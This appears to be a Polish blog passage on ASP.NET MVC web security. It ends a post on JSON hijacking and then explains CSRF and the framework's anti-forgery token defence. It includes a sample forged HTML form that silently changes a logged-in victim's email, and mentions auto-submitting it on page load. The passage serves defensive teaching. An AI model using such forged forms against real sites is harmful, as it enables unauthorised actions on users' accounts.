Gdybyśmy zwrócili wyłącznie pojedynczy obiekt, wtedy ładowanie strony zakończyłoby się błędem. Wyżej mamy również metodę, która wykona się wyłącznie gdy ustawiana jest właściwość o nazwie FirstName. Metoda Object.prototype.__defineSetter__ umożliwia nam zdefiniowanie, co ma zdarzyć się w momencie ustawienia właściwości na jakimś obiekcie.  W tej chwili wyświetlamy Alert z zawartością obiektu co stanowi po prostu dane, które były wcześniej chronione.

Oczywiście musimy przekonać najpierw ofiarę, aby wykonała kod w jej kontekście. Jest to tak naprawdę odmiana ataku CSRF – wykonanie kodu, w kontekście innej osoby. Łatwo sobie wyobrazić kod, który zamiast wyświetlenia alertu, zapisuje dane na serwerze.

Rozwiązanie problemu jest proste – umożliwiać wyłącznie wykonanie metody za pomocą HTTP POST a nie GET. Wtedy nie będzie możliwe tzw. cross-domain request.

[Authorize]
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult GetData()
{
  return Json(new []{new Person("Piotr","Zielinski")});
}

Nowe przeglądarki są bezpieczne na tą lukę i nie jest możliwe pobranie danych w czyimś kontekście. Z tego co wyczytałem to Firefox od wersji 21, Chrome od 27 i IE od 10 nie są podatne na opisany wyżej atak.

Powyższe rozważania mają sens wyłącznie gdy dane są poufne i stąd opatrzone atrybutem Authorize. W takim przypadku nie chcemy, aby ktoś wykorzystał kontekst osoby zalogowanej w kompletnie innej aplikacji.

ASP.NET MVC: Cross-Site Request Forgery

CSRF jest dzisiaj bardzo dobrze znanym atakiem, ale niestety wciąż wiele aplikacji internetowych pozostaje niezabezpieczonych. W poście nie będę opisywał szczegółowo CSRF ponieważ w Internecie jest już od dawna mnóstwo informacji o tym. Chciałbym jednak pokazać jak dzięki ASP.NET MVC możemy w łatwy sposób uchronić się przed atakiem.

W MVC standardowy formularz tworzymy w następujący sposób:

@using (Html.BeginForm("Manage", "Account")) {

    <fieldset>
        <legend>Change Email Form</legend>
        <ol>
            <li>
                @Html.LabelFor(m => m.Email)
                @Html.TextBoxFor(m => m.Email)
            </li> 
        </ol>
        <input type="submit" value="Change email" />
    </fieldset>
}

Następnie mamy w kontrolerze akcję implementującą obsługę formularza, np.:

[Authorize]
public ActionResult Manage(LocalPasswordModel model)
{
  // pernamenta zmiana stanu np. poprzez modyfikację bazy danych.
  
  return View(model);
}

Akcja oznaczona jest atrybutem Authorize, co oznacza, że tylko zalogowany użytkownik może ją wywołać. Atak CSRF polega na wykonaniu jakieś czynności w kontekście innego użytkownika. W tym przypadku mamy formularz do zmiany adresu email, co oczywiście powinno być wykonane wyłącznie w kontekście zalogowanego użytkownika.

Powyższy formularz jest podatny na CSRF ponieważ ktoś może podesłać użytkownikowi fałszywy formularz tzn.:

<form id="fm1" action="http://test.com/Account/Manage" method="post">
   <input name="Email" value="newEmail@domain.com" />
</form>

Jeśli użytkownik aktualnie zalogowany wywoła powyższy formularz, akcja zostanie wykonana w jego kontekście. Innymi słowy, email zostanie zmieniony bez jego wiedzy. Jedynym wyzwaniem to przekonanie użytkownika, aby wykonał powyższy formularz. Nie trzeba nawet go  jawnie wywoływać bo można to zrobić za pomocą JavaScript w metodzie OnLoad. Potrzebne jest jednak przekonanie użytkownika, aby otworzył daną stronę z podrobionym formularzem.

Pomimo, że nie da się przeprowadzić ataku bez “pomocy” samego użytkownika to takie zaprojektowanie systemu jest bardzo niebezpieczne. W końcu nie zawsze chodzi tu o jawne odpalenie strony, ale jak występuje luka XSS to wystarczy umieścić na stronie np. wcześniej podrobiony obrazek. Aplikacja musi być zaimplementowana w taki sposób,  że dana akcja zostanie wykonana zawsze w prawidłowym kontekście.

Standardowe rozwiązanie to wygenerowanie tokena i umieszczenie go w ukrytym polu formularza. Gdy użytkownik wysyła taki formularz, wtedy porównuje się token z ukrytego pola z wcześniej zapisanym tokenem (wzorcem) w sesji. Jeśli tokeny są takie same, wtedy wiemy,  że formularz to dokładnie ten sam, który sami wygenerowaliśmy. Nikt nie przeprowadzi ataku CSRF ponieważ tokenu nie da się odgadnąć. Jeśli ktoś podrobi formularz, to w akcji wykryjemy to ponieważ token nie będzie się zgadzał ze wzorcem przechowanym w sesji.

Ataki CSRF są tak pospolite, że framework ASP.NET MVC dostarcza gotowe rozwiązanie do użycia. W celu wygenerowania tokena w polu ukrytym wystarczy:

@using (Html.BeginForm("Manage", "Account")) {
     @Html.AntiForgeryToken()
    <fieldset>
        <legend>Change Email Form</legend>
        <ol>
            <li>
                @Html.LabelFor(m => m.Email)
                @Html.TextBoxFor(m => m.Email)
            </li> 
        </ol>
        <input type="submit" value="Change email" />
    </fieldset>
}

AntiForgeryToken wygeneruje wspomniane ukryte pole  oraz zapisze token w ciasteczku:

...

<input type="hidden"
    name="__RequestVerificationToken">
    value="WYGENEROWANY_TOKEN"/>
    
... 
    

Następnie w danej akcji musimy umieścić atrybut ValidateAntiForgeryToken:

[HttpPost]
[ValidateAntiForgeryToken]
[Authorize]
public ActionResult Manage(LocalPasswordModel model)
{
 //...
}

Atrybut sprawdzi czy token występuje zarówno w ciasteczku jak i polu ukrytym. Następnie porówna czy są one dokładnie takie same. Jeśli któryś z nich nie istnieje lub nie jest taki sam to oznacza, że ktoś podrobił formularz.

Ktoś może zadać pytanie, dlaczego przechowujemy wzorzec w ciasteczku a nie sesji? Zwykle implementując samemu proste rozwiązania, wykorzystuje się sesje ponieważ jest ona bezpieczniejsza. Ciasteczko przechowywane jest po stronie klienta i wysyła  je się z każdym zapytaniem. Na szczęście token w ASP.NET MVC to nie jest prosty, losowo wygenerowany string. Framework zadba o integralność danych (podpis cyfrowy). Przechowywanie informacji w sesji zmniejszyłoby skalowalność aplikacji, a wspomniany podpis gwarantuje integralność danych. Integralność jest bardzo ważnym elementem w implementacjach gdzie stary token (wcześniej wygenerowany) nie traci ważności i wciąż może zostać wykorzystany do wysłania formularza. W taki sposób, istnieje kilka tokenów, które mogą zostać wykorzystane. Powoduje to ryzyko, że atakujący podrobi samemu tak token, że zostanie on zaliczony przez serwer jako prawidłowy. Jeśli mamy podpis cyfrowy, to atakujący nie zna oczywiście klucza prywatnego serwera web.

Jeśli chcemy wygenerować kilka tokenów w sposób całkowicie niezależny od siebie wtedy możemy użyć parametru salt tzn.:

<%= Html.AntiForgeryToken("customSalt") %>

[ValidateAntiForgeryToken(Salt="customSalt")]

Salt, tak jak to w funkcjach haszujących, daje nam możliwość wpływania na ostateczną wartość, wygenerowaną przez ASP.NET MVC.